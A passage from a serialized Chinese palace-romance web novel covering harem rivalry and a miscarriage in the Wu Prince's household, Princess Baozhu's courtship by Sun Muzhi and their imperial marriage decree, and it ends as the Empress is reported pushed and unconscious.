想他从小到大,不论做什么生意都做一行亏一行,怎么五皇兄就这般厉害,能把商行经营得如此风生水起? 果然人与人不能比。 陆知苒对此事自然乐见其成。 萧晏珩主动投诚,他们彼此的联盟摆在了明面上,也愈发稳固,萧晏辞的胜算也会更大。 “那吴王那边,你们打算如何行事?” 萧晏清看上了恒瑞商行这块肥肉,只怕轻易不会松口。 萧晏辞冷笑一声,“且等着瞧吧,很快他就蹦跶不起来了。” 陆知苒眸光一动,赶忙追问,萧晏辞便将计划简单道来。 萧晏清在自己的王府中接连打了几个喷嚏。 这个年,他过得委实糟心,短短几日,他整个人肉眼可见地憔悴,眼底满含阴鸷。 将恒瑞商行收为己用,是幕僚给他出的主意,他当即就派人去办了。 那商行,他早有耳闻。 没成想,海运竟当真如此赚钱。 此前,便有人向他进言,可试一试海运,但他觉得太过冒险,并未付诸行动。 而今,他只觉后悔。 不过,这恒瑞商行若能为他所用,那钱财之事,自不必忧虑,日后,他说不定还有翻身的机会。 但自己的人屡次游说,对方却一再推脱,那小小商贾竟这般不识抬举,实在可恨! 他现在尚且给对方两分面子,若之后他们再不识好歹,那就不要怪他不留情面了。 正心烦意乱之时,后院又闹起来了。 楚云清身边的丫鬟匆忙来禀,“王爷,不好了,楚侧妃见血了。” 萧晏清闻言,面上的烦躁更甚。 “见血了就去请御医,告诉本王做什么?本王会治病吗?” 丫鬟被训得神色讷讷,不敢辩驳,转身就匆忙跑了。 楚云清是侧妃,她没有资格请御医,只能由正妃去请。 卢诗音岂会盼着楚云清好?她巴不得楚云清肚子里的孩子出事。 但明面上,卢诗音也不敢做得太过,至少不能让脏水泼到自己身上来。 是以,她还是派人去请了御医,只是故意在时间上稍作拖延。 楚云清的下身流血不止,待到御医来时,她的脸色已然变得一片惨白。 那御医给她诊脉,当场就摇头。 “孩子保不住了。” 一句话让楚云清泪水涟涟,心中恨到极致。 原本她可以好好养胎,生下孩子,但今日在花园散步却被野猫惊吓,狠狠摔了一跤,这才见了血。 她不相信这是意外。 定是有人要害她! 御医给她开了一碗药,喝了之后,她只觉痛极了,下身猛地似有什么东西滑出,那一瞬间,她明白了什么。 那是她的孩子。 她彻底失去了孩子。 萧晏清终于来了。 那毕竟是他的孩子,哪怕是庶子,也是他的血脉,他的脸色并不好。 楚云清哭着求他做主,萧晏清更加厌烦,“连个孩子都保不住,要你有何用?” 楚云清心口一疼,“王爷,是有人谋害妾身,有人不想看到妾身为您诞下子嗣啊。” 恰好卢诗音来了,楚云清见了她,顿时双目喷火。 “是你,是你害了我的孩子!你自己怀不上,就心生嫉妒,害我失了孩儿,你这个毒妇,好狠的心啊!” 卢诗音立马否认,“胡说八道,凡事可都要讲证据,可不是你嘴巴两张皮,随随便便就能给我定罪的。” 双方争执不休,萧晏清看着卢诗音的眼神也染上一抹晦暗。 卢诗音有些心虚。 那黑猫不是她安排的,可她也的确不无辜。 这段时间,她在楚云清的吃食上动了手脚,所以楚云清受了惊吓,才会流血不止。 就算没有黑猫冲撞,她的孩子也保不住,这黑猫的出现,只是加速了这一切罢了。 她禁不起查。 面对萧晏清审视的目光,卢诗音只能低下头,故作伤心地抹泪。 “臣妾冤枉!谋害皇嗣可是重罪,殿下若是信不过臣妾,便索性上禀皇上,把臣妾休回家好了,臣妾回了娘家,至少不用再受这般气。” 这番话就是胡说八道了。 她是王妃,皇家的儿媳,从未有休弃归家的先例,只能老死在皇家。 卢诗音自然也知道这一点,她故意搬出娘家,便是提醒萧晏清自己的分量。 他如今正是不如意之时,断然不可能舍弃卢家这样的助益。 该如何裁断,明眼人都知晓。 萧晏清最是利己主义,哪怕他对此事也生了怀疑,还是咽下了这口气。 他对二人都斥责了一番,轻飘飘地揭过了此事。 楚云清失去了一个孩子,而卢诗音只挨了一顿不轻不重的训斥。 这厢闹得不可开交,李云裳的院中却一派岁月静好。 她抚着自己尚未显怀的肚子,听着丫鬟的回禀,唇角勾起一抹淡淡的弧度。 楚云清的孩子没了,她腹中的孩子,就是王爷的长子。 王爷现下虽处境不佳,但她坚信,一切都是暂时的。 日后王爷起势,她的孩子就是最有希望的那一个! 楚云清和卢诗音两个蠢货,岂是她的对手? 第367章 给萧宝珠相看 吴王府的这番热闹,外人不得而知。 大年初六,陆知苒入宫向柔妃拜年。 本该大年初二就入宫拜年,全赖萧晏辞,那几日她没法见人,便拖延至今。 柔妃自然不在意。 屋中温暖,陆知苒脱下了那身厚重的狐裘外氅,纤长的脖颈裸露出来。 柔妃眼尖,瞧见上面隐约的痕迹。 即便已经很淡了,陆知苒又拿了脂粉遮掩,柔妃还是一眼瞧见了。 见到二人蜜里调油的模样,柔妃很高兴,又忍不住剜了自家儿子一眼,当真是个大老粗,半点不知怜香惜玉。 柔妃识趣地没有拆穿,免得陆知苒面皮薄,叶寒衣这个憨憨却直言不讳。 “知苒,你脖子和耳朵怎么了?是被蚊子咬了吗?” 这么冷的天,竟还有蚊子? 一句话让陆知苒瞬间红温了。 罪魁祸首萧晏辞反倒面不改色,谁让他脸皮厚呢。 柔妃抬手打了叶寒衣一记,“闭嘴,别瞎说。” 叶寒衣看到几人的反应,后知后觉地眨眨眼,反应了过来。 她朝萧晏辞投去一记眼神,原来是这只大蚊子啊,真是便宜他了。 柔妃赶忙岔开话题,“对了,知苒,你可知道宝珠喜欢什么样的人?” 这话题转得有些快,陆知苒压下面上燥意。 “母妃问这个做什么?” “是皇后娘娘,她前几日召了我前去,让我帮忙相看一二。” 这是一桩大事,柔妃本不欲往自己身上揽事,但皇后放低了姿态,言语间大有托孤之意,柔妃不忍心,便答应了下来。 事情揽下来了,但她对此却一筹莫展。 陆知苒很快明白了过来。 “倒的确有个人选。” 柔妃闻言,眼睛一亮,催她快说。 “孙家的三少爷孙牧。” 叶寒衣闻言一挑眉,“他啊?我一直想与他切磋武艺,却没找着机会。” 柔妃没好气,“说正事呢,整天只知道打打杀杀。” 叶寒衣识趣地闭嘴了。 柔妃倒是听过这个后生,对他的印象也十分不错,毕竟当初是他在虎口下救了叶寒衣和萧宝珠。 柔妃有顾虑,“他的身份未必合适。” 他是孙家的养子,虽已进了孙家族谱,但未免被人诟病名不正言不顺。 自己给萧宝珠选了这么一个人,她也怕孙皇后不满意。 陆知苒只说了一桩事,“三房从孙家分了出去,搬到了金水河巷,宝珠时常出入那里,与孙三夫人亦是感情和睦,形同母女。” 萧宝珠现在依旧监管着锦绣坊之事,她每隔一段时间就会去寻陆知苒,互相商议锦绣坊的运营事宜。 那段时日,陆知苒瞧见她腰间多了一个新的香囊,味道很清新淡雅。 脚上也穿了一双新鞋子,绣功很精细,但样式却并非宫中所出。 她担心萧宝珠被人所骗,就多问了一嘴,才知晓那都是孙三夫人甄氏给她做的。 原来,萧宝珠时常去孙牧家,十次总有三四次能碰上孙牧。 萧宝珠提及此事时,眼底眉梢都带着欢喜。 只怕,萧宝珠已不知不觉喜欢上了孙牧。 陆知苒一直记着这事,只是暂未寻到机会提起。 没想到,今日柔妃就问起了。 陆知苒将自己所知和盘托出,柔妃先是一愣,旋即一喜。 “我这真是问对人了,如此看来,还真就孙牧最合适了。” 有什么比嫁给自己喜欢之人更加幸福之事? 萧晏辞开了口,“此事不急,待儿臣寻个机会见见孙牧。” 在西平之时,孙牧的表现十分悍勇,萧晏辞对他颇为欣赏。 但一码归一码。 他是好的下属,不代表他是好的妹婿。 若他是第二个孙景轩,那就是把宝珠往火坑里推。 “我到时候也再探一探宝珠的口风。” 可别是她会错意了。 柔妃连忙点头。 婚姻大事,的确马虎不得,再小心都不为过。 末了,柔妃又压低声音,小声道:“此事,宜早不宜迟。我瞧着,皇后的身子愈发不好了。” 陆知苒和萧晏辞心头一沉。 孙皇后想来也知晓这一点,所以才会急着把萧宝珠的亲事定下来。 不然,宫中有丧,萧宝珠要替孙皇后守孝,她的亲事就耽搁了。 亲事定下来了,就算孙皇后有丧,也能在热孝期内迅速完婚。 除夕宴上,陆知苒便觉得孙皇后寿元不长,今日看来,她先前的猜测不假。 萧晏辞的心情也笼上一层阴霾。 孙皇后是他的嫡母,萧晏辞一直很敬重她。 宝珠和母后关系紧张,但若母后离世,她定也会很难过。 翌日,萧晏辞就出门,去见了孙牧。 而陆知苒和叶寒衣则约了萧宝珠,二人打算来个三堂会审。 这丫头便是嘴再硬,她们也定能撬开。 她们把邢初雪也叫上了,就约在了瑾王府,毕竟开府之后,大家都没有到府上做过客。 陆知苒命下人准备了铜锅,大家一起涮肉吃。 这种天气,大家围炉涮肉,最是舒适不过。 萧宝珠是个吃货,她一听到有好吃的,立马就屁颠屁颠地来了。 那铜锅的锅身分为内外两层,外层注水,内层烧炭,中间有精巧的烟道设计,既不会让炭灰落入汤中,又能保持汤水滚沸。 涮肉的汤底,是熬了一整夜的羊肉汤,文火慢炖出来的高汤,远远就能闻到香味。 旁边码放着一盘盘切得薄如蝉翼的牛羊肉片,每一片都带着雪花般的纹路,红白相间,宛如艺术品。 萧宝珠一见,顿时馋得口水都流下来了。 话不多说,她们立马就开始涮肉,吃得大快朵颐,好不过瘾。 吃到半饱,陆知苒这才把话头拉到正题上。 她状似随意地开口,“宝珠,寒衣,你们二人也到说亲的年纪了,可有心仪之人?” 她想问的是萧宝珠,叶寒衣只是顺带。 萧宝珠吃肉的动作微微一顿,旋即有些心虚地摇头,含糊道:“没有。” 陆知苒追问,“真的没有?还是不好意思说?” 萧宝珠斩钉截铁地说,“真的没有。” 陆知苒和叶寒衣飞快交换了一记眼神。 这丫头当真嘴硬。 看来,她们只能采取第二条计策了。 第368章 不敢再嘴硬了 叶寒衣轻咳一声,露出些许赧然,“其实,我最近瞧上了一个人,但不知道是否合适,也不知道他有没有瞧上我,正想让你们帮我参谋一番。” 此言一出,萧宝珠和邢初雪立马露出了满满的八卦之色。 二人异口同声,“是谁?” 叶寒衣语不惊人死不休,“你们都认识的,孙牧之。” 她和戈叙白的事八字还没一撇,除了陆知苒,无人知晓,她眼下便是瞎说,她们也不知道。 邢初雪瞪大了眼,萧宝珠则似雷劈了似的,脸色瞬间凝滞。 陆知苒故作惊讶,“你竟瞧上了他?” 叶寒衣一脸坦然,“我瞧上他很正常呀,他长得还行,功夫又好,而且,他在西平一役中还立下了大功,未来的前程也不可限量,比京中大多数富家公子强多了。” 陆知苒点头,“的确。” 邢初雪也跟着点头,“说来,他与你都精通武艺,你们二人的确般配。” 叶寒衣满脸高兴,“你们也这么觉得?看来我这次没有选错人。” 三人你一言我一语地讨论着,只有萧宝珠没说话。 方才小嘴还不停地吃,这会儿也完全食不知味了。 叶寒衣看向她,把话头抛了过去。 “宝珠,你觉得呢?怎么不说话?” 萧宝珠的表情僵硬,半晌才吐出一句话,“孙牧之他,他到底只是孙家养子,身份如何配得上你?” 叶寒衣摆摆手,“我们叶家选女婿不看门第,只看人品。宝珠,你与孙牧之自幼相识,对他的为人品性最是熟悉,你觉得他为人如何?” 萧宝珠想说他不好,并非良配。 但这话到了嘴边,又被她咽了回去。 她没法睁着眼睛说瞎话。 “孙牧之他,很好。” 不知为何,她的心口涌起一股酸酸涩涩的情绪,便似被棉花堵住了一般。 原本不愿意承认的心事,在这一刻被揭开了。 方才她只是嘴硬,现在,她却是无论如何都说不出口了。 不然,她将叶寒衣置于何地? 她想笑,但却怎么都笑不出来。 叶寒衣以手托腮,“他虽好,但我只怕,他对我无意啊。宝珠,你说,他喜欢什么样的姑娘?” 萧宝珠摇头,“我不知道。” 面前的美食实在难以下咽,心口也堵得慌,她怕自己会扫兴地哭出来,慌忙低下头。 “我,我还有点事,就先走了……” 陆知苒伸手把人拉住了,“宝珠,你怎么了?” “没什么,就,就是眼睛金沙子了。” 陆知苒见她真的马上就要哭出来了,便朝叶寒衣递了一记眼神。 “好了,寒衣,你就别逗她了。经此一遭,这丫头,不敢再嘴硬了。” 萧宝珠愣怔,邢初雪更是一头雾水。 叶寒衣这才道:“方才我其实是瞎说的,我的确有心仪之人,但不是孙牧之。” 萧宝珠再次愣住,好半晌都没反应过来。 叶寒衣伸手掐了一把她丰盈的脸蛋,“你个小妮子,是不是喜欢孙牧之?” “我……” “别嘴硬,你方才都快哭出来了。你若当真不喜欢他,我可就真的要下手了。” 萧宝珠顿时语塞了。 邢初雪后知后觉地反应过来,“哦,你们方才是故意的!” 叶寒衣点头,“对啊,我若不故意激一激她,她怎会承认?” 萧宝珠的脸一点点慢慢变红了,最后连耳根子都红透了。 她又羞又窘,还有些气恼,“谁出的馊主意?” 叶寒衣立马指向陆知苒,“自然是你的好嫂嫂。” 就这么把她卖了。 萧宝珠扭过头去,“你们欺负人。” 陆知苒伸手揽住她的肩膀,柔声讨饶,“这次是我们不对,戏弄了你,但我们也是怕你错过了良缘,才出此下策。” 叶寒衣笑道:“这不还是有收获的嘛,至少把宝珠的心思给试探出来了。” 萧宝珠觉得自己的脸更热了,只怕已然红成了猴子屁股。 陆知苒把叶寒衣搬出来当例子,“心仪一个人很正常,寒衣在西平之时瞧上了一人,这会儿已经开始谈婚论嫁了,你合该向她多学学。” 叶寒衣半点不害羞,反而十分赞同,“对啊,看上了就及时出手,先把人弄到手了再说。” 萧宝珠一愣一愣的,“那,万一选错了人呢?” 陆知苒笑着接话,“选错了人,那就再换便是,你瞧我,不就换了个?还越换越好。” 她是和离之身,但她自己却半点不在意,反而能以如此轻松的语气说起此事。 叶寒衣也点头。 “对呀,男人可以休妻,咱们也可以休夫,你是公主,你怕什么?” 萧宝珠大受震撼,邢初雪也听得目瞪口呆。 这是什么勇猛发言? 但,听上去真的很爽。 萧宝珠消化了一番情绪,脸上的热意终于褪了下去,方才突然消失的胃口也回来了。 思路打开,果然就少了很多顾虑。 她是什么时候对孙牧之动心的? 她自己也说不清。 从他两次救了她开始,萧宝珠对他的印象就不再是孙家那个总被人欺负的受气包了。 之后,她时常去孙家,起先只是舍不得雪团,而后是舍不得甄氏带给她的温暖。 慢慢的,她开始习惯孙牧之的出现,甚至期待见到他。 少女的心思,早已在日积月累的相处中慢慢生根发芽,再难拔除。 她悄悄地喜欢着对方,本以为无人知晓,没想到,竟早就被窥视到了。 “你们,怎么知道的?” 她依旧有些不好意思,低头吃了一口肉以作掩饰。 陆知苒揶揄地看她,“你不知道自己这段时间往金水河巷跑得多频繁吗?” 萧宝珠狡辩,“我,我是去看雪团和三舅母。” “哦?那你一回都没碰到孙牧之?” 萧宝珠语塞了。 她碰到孙牧之的机率不低。 按理说,他刚得提拔,有了新差事,应当比较忙才是。 他是特意赶回来见自己的吗? 这个念头一起,她不禁脸热,一时觉得自己没猜错,一时又觉得是自己自作多情。 萧晏辞回来了,萧宝珠和邢初雪也正欲离开,双方打了个照面。 陆知苒看着萧晏辞的神色,心中当即就有了猜测。 看来,此事多半能成。 第369章 臣孙牧之,请尚主 这顿涮锅吃得萧宝珠心神荡漾,冷风一吹,她脸上的热意才慢慢消散。 正欲登上马车,忽而听得一道熟悉的声音自身后传来。 “公主。” 萧宝珠心想自己莫不是想那人想得太投入了,竟是产生了幻听? 一回头,就见孙牧之不知何时立在那里,正看着她。 她心神一颤,脚下一个不稳,眼见就要朝后跌倒。 孙牧之眸光一紧,他立马一个起身飞跃,伸手一捞,将她稳稳扶了起来。 “公主没事吧?” “没,没事。” 只是方才才刚刚散去的热意,又回到了脸上。 待她站定,孙牧之立马收回了手,也向后退了两步,与她拉开了距离。 二人的面上都有些不自在。 孙牧之先开了口,“公主,我有几句话想与你说,不知是否方便?” 萧宝珠眼神乱飘,说话都有些打磕巴。 “那,去前头的漱芳斋吧。正好,我有些口渴,想喝些茶水。” 定是方才涮肉吃多了,才不是她随便找的借口。 漱芳斋是陆知苒的产业,掌柜也认识萧宝珠,立马就给安排了上好的包厢,一应茶水点心都上齐了。 声称自己口渴的萧宝珠却没喝一口那上好的茶,“你有什么话要说?” “公主可还记得,八年前上元夜,那盏被摔坏的兔儿灯?” 萧宝珠微愣。 那年,她在孙家过元宵,和几个表哥表姐一起放炮仗。 这在宫里是不被允许的,所以她才会跑到孙家过元宵。 也是在那一日,她第一次见到了孙牧之。 当时他还是个单薄瘦弱的小矮子,被罚跪在雪地里。 起因是他亲手做了一盏兔儿灯,想献给三舅母,却被二房的一个庶子抢夺,弄坏了。 那庶子没得到兔儿灯,倒打一耙,告了孙牧之一状,孙老夫人处置偏颇,他这才被罚跪。 无人站出来替他说话。 孙家的小辈们反而围在一处看孙牧之的笑话,言语间都是对他的养子身份嗤之以鼻。 是萧宝珠站出来,将他从雪地里拉了起来,还拿帕子给他把脸上的脏污擦干净。 萧宝珠说:“你又没错,为什么要跪?” 当时的孙牧之满心惶恐与茫然,他真的没错吗? 可大家都说他错了,他错在不是孙家真正的血脉。 之后的每一次,他受了欺负,萧宝珠都会站出来,告诉他,他没错,没必要忍让。 正是她一次次强势的维护,让孙牧之将心中那点不是孙家人的自卑压下,慢慢挺直了腰杆。 孙牧之从怀中取出了一方帕子,已经褪色泛黄了,却被他叠得整整齐齐。 “臣以养子之身窃据孙氏门楣,在武学堂中日夜不辍,苦学武术,在西平战场上奋勇拼杀,所求不过……让当年那个连帕子都不敢接的寒微少年,能堂堂正正站在这里说一句……” 他忽而伏低,朝萧宝珠行了一记大礼。 “臣孙牧之,请尚主。” 萧宝珠的心口突然砰砰狂跳,几乎要跳出嗓子眼来。 她的目光落在那方帕子上,又很快移开,脸颊再度发热起来。 她强作镇定,“你若是为了报恩,那大可不必……” “公主,臣当日在猎场救您,本是本分,但臣却僭越地向您索要了一只宠儿作为回礼。这是臣心底藏着的一份私心,臣盼着公主能时常来看看它,也让臣能时常见见您。” “臣身份卑微,本不该妄加肖想,但心不由己。或许,臣爬得再高些,就能……够到月亮。” 萧宝珠的心口又似被什么狠狠撞了一下,似有无数只小鹿在那里疯狂地撞着,她只能伸手捂住,才能稍稍平复。 他这张嘴,素日里闷不吭声,本以为是个笨嘴拙舌的,谁料竟也如此巧舌如簧,直说得她面红耳热,难以自抑。 他抬起头,目光灼灼。 “公主若嫌臣唐突,便当臣是来还当年那方帕子。若肯垂怜……” 他喉结上下滚动,眼角发红却带笑,“臣的微薄赏赐,都等着交给公主当聘礼。” 萧宝珠根本不敢直视他。 当年那个凶悍霸道,总是站在她面前挺身而出的小女孩,被他搅得乱了方寸,溃不成军。 她狠狠咬唇,半晌才道:“婚姻大事,我做不得主。三日后,御笔朱批,重开龙案,你若真敢……就去吧。” 说完,她就提裙飞快离开,只留下一阵香风。 孙牧之从地上起身,他大手抚着那方帕子,唇角勾起一抹温柔的笑。 她虽没明说,但却是应了。 既已知晓她的心意,他会亲自向皇上求娶。 重新将帕子收进怀中,小心放好,这才从包厢离开。 萧宝珠从漱芳斋离开,回到马车上,心口依旧砰砰跳个不停,脸上的热意更是久久不散。 他听懂了自己的意思吗?他会去向父皇求娶吗?父皇会答应吗? 父皇答应过,她的亲事由她说了算。 若父皇不答应,她就去闹。 萧宝珠捂着脸,唇角的弧度怎么都压不住。 和萧晏辞互相交换了信息,陆知苒松了口气。 如此看来,二人的姻缘可成。 陆知苒立马把此事告知柔妃,柔妃得知后也很高兴。 她便又去了坤宁宫,将此事告知了孙皇后。 许是为了萧宝珠的亲事,孙皇后没再闭门谢客,只是依旧每日礼佛。 听了孙牧之的名字,孙皇后很意外,一时不禁陷入沉默。 兜兜转转,萧宝珠的姻缘竟还是落在孙家身上。 柔妃见她没说话,不由出声,“皇后可是对此亲事不满?” 孙皇后掩唇轻咳几声,这才开口。 “这亲事挺好的,那孩子本宫见过,容貌周正,品性端方,是个好孩子。” 最要紧的是,萧宝珠喜欢。 她自己愿意,比什么都重要。 柔妃闻言松了口气,孙皇后不反对就好,若她瞧不上孙牧之的出身,横插一脚,事情就难办了。 大年初十,沉寂半月的大齐朝堂,在雪后初晴中再度苏醒。 孙牧之向德丰帝上了折子,表明求娶之意。 然而,他只是五品官职,他的奏折淹没在了浩瀚的文书中,并没有被德丰帝看到。 而凭他的官职,无事不得面圣。 第370章 恨嫁的萧宝珠 傍晚时分,坤宁宫派人来请,德丰帝深感意外,知晓孙皇后定是有事,他便摆驾了坤宁宫。 一踏进去,德丰帝便嗅到了一股浓浓的檀木香,那是常年礼佛之地才有的味道。 这让德丰帝的心境也添了几分平和。 孙皇后起身行礼,被德丰帝扶了起来。 “你的身子不佳,就不必讲究这些虚礼了。” 孙皇后也没有坚持,她直入主题,“皇上,臣妾请您来,是为了宝珠的亲事。” 德丰帝听了这话,心中升起一股淡淡不悦。 有了孙景轩的前车之鉴,德丰帝很难再相信孙皇后的眼光,也不欲再让她插手此事。 “朕承诺过,她的亲事需她自己点头同意。” 孙皇后苦笑,“臣妾并无插手之意,只是……臣妾唯恐自己大限将至,宝珠的亲事不能被臣妾耽搁了。” 德丰帝闻言,面色微变。 “皇后,不可说这等胡话。” 孙皇后苦笑更甚,“臣妾说的都是实话。臣妾不是个好母亲,没有为她做什么事,但至少,不能再耽误了她,此事还请皇上多费心。” 德丰帝看着她周身的死气,心口一点点往下沉。 从坤宁宫离开,德丰帝的心情也笼上了一层阴霾。 先前因孙家之事对她生出的迁怒,此时已彻底没了,只余点点难言的怅惘。 他与孙皇后少年夫妻,一路走来已过了几十载,两人间的情分,非常人能比的。 一路走着,不知不觉地到了夕颜殿,德丰帝索性便抬步走了进去。 他来得突然,夕颜殿众人慌忙接驾,叶寒衣也在正殿中,便一并留下用膳。 德丰帝在脑中回忆着朝中的青年才俊,一时之间也没个头绪,吃饭时便没什么胃口。 柔妃状似随意地问,“皇上缘何这般愁眉不展?” 想到自己烦忧之事,德丰帝觉得她正好可以替自己参谋一二,便将事情道来。 柔妃听罢,也露出思索之色。 “公主的亲事,的确不可大意。臣妾久居深宫,也不认识什么青年才俊,一时倒是不好给您出主意了。” 德丰帝心想也是,她能知道什么?自己这是病急乱投医了。 这时,一直在一旁当隐形人的叶寒衣开了口。 “皇上,臣女倒是想到一人。” 柔妃立马出声呵斥,“寒衣,你小孩家家的,别捣乱。” 德丰帝摆摆手,“无妨,且听她说说。” 她与宝珠交好,兴许还真知道宝珠喜欢什么样的人。 “孙牧之就挺不错的。他与宝珠自幼相识,又救了宝珠两次,人品可靠。还立了军功,为人上进,与宝珠最是相配。” 听了叶寒衣的话,德丰帝顿时露出若有所思来。 孙牧之,怎么把他给忘了。 德丰帝对他印象十分不错,本还欲将他招纳入自己的亲卫中,但他却拒绝了,反而自请前往西平增援。 最后他也的确不负众望,在西平立下功劳。 此人配他的宝珠,的确合适。 柔妃故意提出反对,“皇上,他是孙家人,只怕宝珠对此心怀芥蒂。且不知他是否愿意,可别又是下一个孙景轩。” 德丰帝眼睛一眯,周身都笼上了一层威严。 “他敢!” 宝珠是皇家公主,轮得到孙家人一再挑拣? 若孙牧之敢如此不识抬举,那就不要怪他不留情面了。 他可以给孙牧之体面,也能将他摁到泥里去。 柔妃和叶寒衣悄悄交换一记眼神,又飞快移开。 她们姑侄俩一唱一和,把孙牧之提了起来,看德丰帝的神色,应当在认真思考此事。 此事多半能成。 德丰帝回到御书房,便向冯有才问起孙牧之,“他可有上奏折?寻来朕看看。” 此人武功不错,但若不通文墨,那也配不上他的宝珠。 冯有才很快把孙牧之的奏折从底下寻了出来。 德丰帝打开一看,先是一愣,旋即就哼笑出声。 “这孙牧之倒是大胆。” 冯有才飞快瞥了一眼,看清了上头的内容,他笑道:“没成想孙大人竟是个深情的,不过敢直接上折子求娶的,孙大人倒是头一个。” 有了先前孙皇后的那番话,德丰帝对萧宝珠的亲事也有了紧迫感。 此时再看到孙牧之的奏折,他除了觉得凑巧以外,也多了几分考量。 孙牧之的身份的确差了点意思,但驸马的身份本身就无需太高。 翌日下朝,德丰帝宣了孙牧之觐见。 孙牧之心头紧张又忐忑,他知道,这是自己能抓住的唯一的机会。 他若没有好好表现,今后他将彻底失去资格。 萧宝珠这几日茶不思饭不想,满脑子都是孙牧之,还有那日他对自己说的那番话,更对他们悬而未决的亲事担忧。 但这些心思又不能对人说起,不然定要被笑话自己有多恨嫁。 奶娘秦嬷嬷便见自家公主一时托着腮发呆,一时捂着脸傻笑,一时又对着窗外叹息,那情绪可谓是九曲十八弯,变化多端。 更让秦嬷嬷担忧的是,公主连最喜欢吃的肉都提不起兴趣了。 自家公主,该不会是中邪了吧。 秦嬷嬷正犹豫要不要去请太医来瞧瞧,外头就传来宫人的通禀声,“皇上驾到。” 原本还在傻笑的萧宝珠瞬间回神,赶忙理了理衣摆。 同时,心头也莫名提了提。 她有一股强烈的预感,父皇这次来,只怕是为了自己的亲事。 这个预感很快就得到了验证。 德丰帝与她闲话了一番,便问起了她的亲事。 萧宝珠立马道:“父皇,您说过的,儿臣的亲事要儿臣自己点头,君无戏言。” 德丰帝伸手戳她脑门,“朕若是想抵赖,而今何必要来问你?你老实交代,是不是有了心仪之人?” 萧宝珠的面上闪过一抹不自在。 她扭捏了一阵,还是开了口。 “孙牧之还不错,尚可入眼。父皇,儿臣若选他做驸马,您同意吗?” 德丰帝这会儿终于品出味来了。 “你们这是早就串联好了?” 若不然,怎会那么凑巧,全都凑到一处? 萧宝珠面颊绯红,支支吾吾,这番态度,已然表明一切。 第371章 孙皇后出事 德丰帝心里顿时不得劲了,“那小子几句花言巧语就把你给哄了去了?” 萧宝珠脸红,“他没有哄骗儿臣,儿臣自小就认识他,知道他的为人品性。” 她对他不自觉就袒护上了,德丰帝见此架势,当即知道,这亲事自己答应也得答应,不答应也得答应了。 方才他宣了孙牧之觐见,他把自己对萧宝珠的心思尽数剖白,包括利用雪团争宠这样的手段,也尽数坦言。 自己女儿被人惦记了这么多年,老父亲心里头多多少少有些不高兴。 但这人态度真诚,言辞恳切,更有满腔赤诚,德丰帝也不禁生了几分触动。 德丰帝又问了孙牧之一个问题。 “你娶了公主,仕途就势必会受影响。你有一身的好本事,便甘心被埋没吗?” 孙牧之语气沉缓而坚定。 “微臣能有今日,离不开公主当年的出手相帮,公主是微臣心中的一盏明灯。公主在何处,何处便是微臣所追寻的方向。为了公主,微臣甘之如饴。” 德丰帝听了之后也不禁感叹,以往嘴笨的人,竟也有如此口若悬河的时候。 孙牧之所言究竟几分真,几分假,德丰帝还要派人查验。 而萧宝珠的态度也十分关键,他这才有了这一趟。 没曾想,自己女儿也是个恨嫁的,半点都不掩饰,直接就交底了。 事情未定之时,德丰帝为此忧心。 眼下事情很快有了眉目,德丰帝又莫名惆怅起来了。 他没有立马应允此事,只说要再考量一番,萧宝珠的心一下提了起来。 三日后,德丰帝调查清楚了孙牧之的身家背景,为人品性。 他与甄氏虽并非亲生,但胜似亲生,他对甄氏十分孝顺。 这一点让德丰帝十分满意。 一个有孝心之人,品性不会差。 唯一让德丰帝有些疑虑的是他的身世,当初他是被遗弃的,不知他的真实身份是否有什么妨碍。 德丰帝命人前去调查,只是此事过去十几年,要调查清楚,只怕也不易。 萧宝珠这几日时不时就往御书房跑,态度十分殷勤。 德丰帝都要被她气笑了。 “你个丫头,当真如此恨嫁?一天往朕这里跑八百回,非得亲眼看到朕下了指婚圣旨方才放心。” 萧宝珠被德丰帝点出心思,面颊微微滚烫。 德丰帝果真当着她的面拟了旨,萧宝珠努力端着,唇角依旧不受控地微微扬起。 赐婚圣旨颁布,朝中不少人都惊了。 先前竟是半点风声都没听到。 而且,对于孙牧之这个驸马人选,大家也很意外,各种议论不绝于耳。 金水河巷中,甄氏已欢喜得不知如何是好,一贯冷肃的孙牧之,脸上也多了笑,双眸更是亮得惊人。 坤宁宫中,孙皇后的脸上明显也多了一丝轻松。 吴嬷嬷笑着对孙皇后道:“奴婢听说,这段时日公主心情甚佳,可见对于此桩亲事,她的确甚为满意。这下您可以放心了。” 孙皇后笑了笑。 亲事虽定下,但婚期却未定。 萧宝珠的生辰是三月初一,过了这个生辰,她就及笄了。 她至少要在及笄之后方能成婚。 孙皇后喃喃,“还有一个多月。” 她这把老骨头,还能再撑一撑,无论如何,也要撑到她及笄,撑到她成婚。 转眼便到了元宵佳节。 今年,宫中照例有宫宴,还有一场大型的烟火秀。 这一日的皇宫分外热闹,几位皇子齐聚一堂,德丰帝的心情十分不错。 他的目光一转,落在了其中一个身形略显单薄,面容稍显稚嫩之人身上。 他便是八皇子萧晏临。 他只比萧宝珠大十几天,亦未满十五岁,几个皇子,只他未封王,未娶亲,也没临朝听政。 他很少在德丰帝跟前晃悠,德丰帝便没想起这个儿子。 今日也是瞧见了,才记了起来。 宝珠的亲事都定了,老八的亲事却没人操持。 这些事本该由皇后来办,但皇后的情况特殊,只能另当别论。 “老八,待开春,也要给你择选王妃了。你可有中意的人选?” 八皇子萧晏临一愣,没想到父皇会突然点到他。 旁人也没想到,目光一下都落在了他的身上。 他生了一张娃娃脸,身形不输几个皇兄,但看上去却似个孩子般稚嫩。 一听到娶王妃,他的脸刷地一下就红透了,整个人都透着股局促。 “儿臣但凭父皇安排。” 德丰帝见他如此没皇家气度,心中添了两分不喜。 但今日是大好的日子,德丰帝便没有表现出来。 他没有再与八皇子多说什么,大家便也都把目光移开了。 孙皇后如上次般,率先离了席,众人都见怪不怪。 谁料,众人正在观赏烟花之时,有宫人匆忙来报。 “皇上,不好了,皇后摔倒了,现下昏迷不醒,情况不大好……” 这话似一道惊雷,劈在了众人的头上。 萧宝珠脸上的笑瞬间凝固,整个心陡然狠狠往下沉去。 睿亲王亦是面色陡变。 德丰帝沉声,“好端端的,怎会摔倒?下人是怎么伺候的?” 那宫人头垂得很低,声音发颤。 “是,是李贵妃,她失手推了皇后一把。” 原本还神游天外的萧晏清,顿时一个激灵,清醒过来。 旋即便是一股寒衣从脚底往上蹿。 母妃是什么时候离开的?她又为何去寻皇后?她们之间到底发生了什么事? 他当即怒斥,“你胡说八道些什么,母妃怎会推搡母后?” 这个罪名,万不能认! 不然,他也要被连累,再没翻身之力。 那宫人讷讷不敢言。 德丰帝如刀一般的目光已经朝他扫去。 